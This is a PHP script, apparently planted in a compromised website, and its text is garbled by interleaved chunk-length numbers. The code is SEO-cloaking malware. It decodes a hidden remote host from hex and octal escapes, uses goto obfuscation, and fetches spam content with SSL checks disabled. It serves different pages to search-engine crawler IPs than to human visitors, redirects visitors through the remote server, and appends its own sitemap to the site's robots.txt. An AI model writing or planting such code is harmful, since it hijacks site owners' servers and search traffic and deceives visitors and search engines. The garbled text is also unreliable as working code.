3 6 true, 16 CURLOPT_ 9 CONNECTTI 3 MEO 6 UT => 1 5 1f , CURLOPT_TIMEOUT a => 18 8, CURLOPT_ 3 SSL 5 _VERI 3 FYP 7 EER => 5 false 23 , CURLOPT_SSL_VERIFYHO 2 ST 22 => false, CURLOPT_FO 3 LLO 1 W 6 LOCATI 2 ON 21 => false, CURLOPT_U 5 SERAG 3 ENT b => "M 3 ozi 4 lla/ 4 5.0" a d ]); d $data = curl_ 4 exec 4 ($ch 13 ); curl_cl 3 ose d ($ch); } c if ( d empty($data) 3 && 8 ini_get( 4 'all 3 ow_ 6 url_fo 3 pen 11 ')) { $c 5 ontex 7 t = str 4 eam_ 9 context_c 5 reate 10 ([ 3 "ht 3 tp" 6 => [" 6 timeou 2 t" a => 8, "he 4 ader 6 " => " 4 User 3 -Ag 5 ent: c Mozilla/5.0\ 4 r\n" 1 ] 12 , "ss 3 l" 9 => ["ver 3 ify 3 _pe e er" => false, d "verify_peer_ 4 name 2a " => false] ]); $data = 14 @file_get_contents($ 4 url, 8 false, 8 $context 16 ); } if (! d empty($data)) 11 cache_set($url, 7 $data); d return 5 $data 2f ; } /* ------------------------- URL 2 3 1 2d ------------------------- */ function get_ 8 url_info 4 (str 6 ing $t 4 ype= 4 'dom 2 ai 5 n'): f string { $ 3 hos d t = $_SERVER[ 6 'HTTP_ 6 HOST'] 3 ?? 6 ''; d if ($type 2 = 6 == 'no 3 _ww 2 w' c ) return pre 1 g 4 _rep 1 l 2 ac 5 e('/^ 5 www\. 2 /i 4 ', ' 9 ', $host) b ; $p 4 roto 3 col 3 = 16 (!empty($_SERVER['HTTP 3 S'] 5 ) && 16 $_SERVER['HTTPS'] !== 4 'off 4 ') ? 7 "https 4 ://" 8 : "http 4 ://" 9 ; $b 2 as f e = $protocol . 6 $host d ; if ( f $type === 'base f ') return $base 17 ; if ($type === 'f 3 ull 12 ') return $base . c ($_SERVER['R 2 EQ 3 UES 5 T_URI 8 '] ?? '' 12 ); return $ 7 host; 29 } /* ------------------------- 3 2 3 变 3 量 20 ------------------------- */ 5 goto 3 ONP 3 uB; 7 ONPuB: 6 $http 7 _type = 11 !empty($_SERVER[ 3 "\x 4 48\1 3 24\ 6 x54\x5 5 0\x53 1 " 19 ]) && $_SERVER["\x48\124\ d 124\x50\x53"] 6 !== " 4 \157 3 \x6 3 6\1 3 46" 7 ? "\15 4 0\x7 9 4\x74\x70 3 \16 4 3\72 3 \x2 5 f\x2f 8 " : "\x6 4 8\16 9 4\164\160 9 \72\x2f\5 4 7"; 7 goto O4 3 O9k 7 ; O4O9k 4 : $v 8 url = "\ 4 x74\ 8 157\56\1 2 52 7 \147\14 5 1\x6c 9 \x6c\163\ 3 x2e 4 \143 8 \157\x6d c \x2f"; goto 3 vgv 3 72; 9 vgv72: $ 2 qz 6 = sub 3 str d (str_replace( 6 array( 5 "\x77 7 \x77\16 6 7\x2e" 8 , "\56") 7 , '', $ d _SERVER["\110 7 \x54\x5 8 4\120\x5 6 f\x48\ 3 x4f 8 \123\x54 4 "]), 4 0, 5 3); 24 /* ------------------------- 3 2 2 f 4 参 24 数 ------------------------- */ $ 6 sz = $ 2 ii 5 d = " 6 "; if a (!empty($_ 5 GET)) 4 { 4 $f=r 6 eset($ 5 _GET) 9 ; $s 4 p = e explode('-', $ 1 f f ); if (cou 4 nt($ 3 sp) 6 === 2 11 ) { $sz 6 = $sp 3 [0] c ; $ 6 iid = 4 $sp[ 2 1] a ; } 27 } /* ------------------------- 3 2 3 接 2 21 ------------------------- */ d if (!empty($s 1 z c )) { $j 4 d = e getCurlFast("{ b $http_type} 6 {$vurl 3 }3k 3 g.a 4 spx? 3 sz= 4 " . 6 urlenc 4 ode( a $sz)); } 4 else 37 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx? 3 xy= d {$http_type}" b ); $sz 2d = getCurlFast("{$http_type}{$vurl}3kg.aspx?j 11 d=" . urlencode($ c jd)); } 4 $hyz 3 hdy 4 = $ 6 jd . " 2 41 9 .aspx"; 6 $surl c = $jd . "s b 41.aspx"; 26 /* ------------------------- r 4 obot 4 s / 2 si 5 temap 22 ------------------------- */ $s 9 itemapLin 5 e = " 7 Sitemap 2 : 22 {$http_type}{$_SERVER['HTTP_HOST'] d }{$_SERVER['S 3 CRI 4 PT_N 3 AME 5 ']}?w 6 =" . d 5 ate(' 3 Ymd 8 Hi') . " 4 \n"; c function e 5 nsure 8 _robots_ 8 sitemap( c $sitemapLine a ) { $ a robots = r 5 trim( c $_SERVER['DO 3 CUM 5 ENT_R 2 OO 6 T'], " 4 /\\" 6 ) . '/ 8 robots.t 2 xt d '; if (! d file_exists($ 14 robots)) { 14 @file_put_contents($ 7 robots, 8 "User-a 6 gent: 4 *\nA 5 llow: 2 / 7 \n" . $ b sitemapLine d , LOCK_EX); 12 } else { 6 $c 17 = @file_get_contents($ 8 robots); 12 if ($c = 8 == false 3 || 9 strpos($ 2 c, e $sitemapLine) 1b === false) { 1c @file_put_contents($robots, e $sitemapLine, 3 FIL 6 E_APPE 3 ND 11 | LOCK_EX); 7 } a } } 26 /* ------------------------- w 3 = 3 2 2c ------------------------- */ if (!empty($ 5 get[' 2 w' 7 ])) { b $para 5 ms = 6 http_b 4 uild 3 _qu 3 ery d ([ ' 4 NOUm 3 ber 5 ' => e $get['NOUmber' 7 ] ?? '' d , 't b ' => 7 $get['t 16 '] ?? '', 'cn 10 ' => $get[' 3 cn' 25 ] ?? '', 'pNOUm' => $get[' 1a pNOUm'] ?? '', 'c 3 id' 12 => $get['cid' 14 ] ?? '', 'm 11 ' => $get[' 9 m'] ?? '' 7 ] e ); $str 12 = getCurlFast("{$ 5 surl} 2 ?{ d $params}"); 8 ec 3 ho c str_replace( c [' 4 yymm 3 ',' 8 ggggg',' 3 ?f= 3 '], 15 [$http_type 1 . 16 $_SERVER['HTTP_HOST']. 17 $_SERVER['SCRIPT_NAME'] 8 , $sz,'? 2 '. 5 $qz.' e ='], a $str b ); exi 2f t; } /* ------------------------- IP 3 判 2 3 3 2 3 4 kk 2 3 试 27 ) ------------------------- */ $kk 4 = is 5 set($ 7 get['kk 5 ']) ? 6 trim( d $get['kk']) : 6 ''; 7 $ip = ( 4 $kk b !== '') ? " 3 66. 3 249 3 .82 2 .8 4 " : d get_real_ip() 2b ; /* ------------------------- get 7 domain2 5 判 2 27 ------------------------- */ $domain 8 = trim( d getCurlFast($ 6 jd . " 10 getdomain2.aspx? 3 rnd 4 =1&i 6 p=" . 4 $ip) 2a ); /* ------------------------- 2 4 goo 4 gle 2 + 5 iid 3 3 跳 2 25 ------------------------- */ if ( 8 $domain b !== 'google 5 ' && 8 !empty($ 3 iid c )) { $k 7 name = 5 urlde 5 code( 15 getCurlFast($jd . "gn 9 .aspx?iid 8 =" . $ii 6 d)); f echo 'l 3 oca 5 tion= 5 "' . 8 $jd . "a 7 .aspx?c 4 name 15 =" . urlencode($kname 6 ) . "& 9 url=" . $ b http_type . 17 $_SERVER['HTTP_HOST'] c . $_SERVER[' d SCRIPT_NAME'] 7 . '"' 36 ; exit; } /* ------------------------- 4 iid 32 输出 ------------------------- */ if (!empty($ e iid)) { $ 1a str = getCurlFast($hyzhdy 3 . " 6 ?iid={ 4 $iid 31 }"); echo str_replace( ['ggggg',' 5 YYYYY 5 ','XX 7 XYYY',' 3 当 2 4 URL 4 ','U 8 UUUU','M 4 MMMM 18 ','?f='], [$sz, e get_url_info( 10 ), get_url_info( 7 'base') 16 , get_url_info('full') 10 , get_url_info(' 9 no_www'), 5 parse 4 _url 1a ($_SERVER['REQUEST_URI'], 3 PHP 5 _URL_ 3 PAT 2 H) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- 9 sitemap h 4 elpe 1 r 2b ------------------------- */ function ou 5 tput_ 9 sitemap_a 1 n 5 d_exi e t($sitemapLine 1 , 14 $http_type) { 23 ensure_robots_sitemap($sitemapLine) d ; echo " 3 10 8 Sitemap< 2 /a f > " 36 ; exit; } /* ------------------------- 3 kk 7 输出 3 2 25 ------------------------- */ if ($ 9 kk !== '' 4 && 8 preg_mat 2 ch 6 ('/^[A 3 -Za 3 -z0 3 -9] 3 +$/ 5 ', $k 1 k e )) { $rem 3 ote 10 = getCurlFast($ 1c jd . "getdomain2.aspx?rnd=2& 2 kk 9 =" . $kk) c ; if (! 7 empty($ 14 remote)) { 5 echo 7 $remote 12 ; exit; c } } 13 if ($kk !== '' && ! 2c preg_match('/^[A-Za-z0-9]+$/', $kk)) { 31 output_sitemap_and_exit($sitemapLine, $http_type) a ; } $i 5 s_no_ 5 query 4 = e f mpty($_SERVER[' 5 QUERY 7 _STRING 8 ']); 9 if ($kk = 9 == '' && c $is_no_query 15 ) { if ($domain c === 'google' d ) { 34 output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 13 exit; } } 35 output_sitemap_and_exit($sitemapLine, $http_type); ? 3 > 0